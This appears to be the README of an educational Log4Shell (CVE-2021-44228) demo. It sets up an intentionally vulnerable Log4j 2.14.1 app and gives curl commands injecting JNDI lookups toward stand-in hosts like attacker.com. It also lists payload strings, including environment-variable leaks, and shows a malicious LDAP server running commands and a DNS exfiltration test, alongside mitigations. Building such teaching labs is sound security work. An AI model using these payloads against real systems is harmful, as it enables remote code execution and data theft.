
Demo of CVE-2021-44228 Log4Shell.
Questo è un progetto demo per apprendere e ricercare la vulnerabilità di esecuzione remota di codice di Log4j2 (Log4Shell).
Questo progetto è destinato esclusivamente a scopi di ricerca sulla sicurezza e formazione: non utilizzarlo in ambienti di produzione!
Questo progetto utilizza la versione Log4j 2.14.1, affetta da gravi vulnerabilità di sicurezza.
./mvnw clean package
./mvnw spring-boot:run
Oppure:
java -jar target/log4j2-bugmaker-0.0.1-SNAPSHOT.jar
Aprire il browser e visitare: http://localhost:8080
curl -H "User-Agent: \${jndi:ldap://attacker.com/a}" http://localhost:8080/api/log
curl "http://localhost:8080/api/search?query=\${jndi:ldap://attacker.com/a}"
curl http://localhost:8080/api/health
Log4Shell (CVE-2021-44228) è una grave vulnerabilità in Apache Log4j2. Quando l'applicazione registra input utente contenenti stringhe di formato speciali, Log4j2 analizza le espressioni di lookup JNDI; un attaccante può sfruttare questa funzionalità per eseguire codice remoto.
${jndi:ldap://evil.com/a}
${jndi:rmi://evil.com/a}
${jndi:dns://evil.com/a}
${java:version}
${java:os}
${env:PATH}
Aggiornare Log4j2 alla versione 2.17.1 o successiva:
<properties>
<log4j2.version>2.17.1</log4j2.version>
</properties>
-Dlog4j2.formatMsgNoLookups=true
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
# 1. 运行自动化脚本
./setup-exploit-server.sh
# 2. 选择 JNDI-Injection-Exploit 工具
# 3. 输入要执行的命令(如 whoami 或 cat /etc/hosts)
# 4. 在另一个终端发送攻击载荷
# 启动恶意 LDAP 服务器
python3 simple-ldap-server.py "whoami"
# 或执行其他命令
python3 simple-ldap-server.py "cat /etc/hosts"
# 在另一个终端发送攻击载荷
curl -H 'User-Agent: ${jndi:ldap://YOUR_IP:1389/Exploit}' http://localhost:8080/api/log
# 运行 DNS 外带测试脚本
./test-dns-exfiltration.sh
# 按提示操作,访问 dnslog.cn 获取子域名
# 然后查看是否收到 DNS 查询请求
Questo progetto è distribuito con licenza open source MIT License.
Nota speciale: questo progetto è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza; l'utente si assume ogni rischio derivante dall'utilizzo.
Eseguire test di penetrazione su sistemi altrui senza autorizzazione è illegale! Questo progetto è destinato esclusivamente a:
Si prega di rispettare le leggi e le normative locali e di utilizzare queste conoscenze in modo responsabile.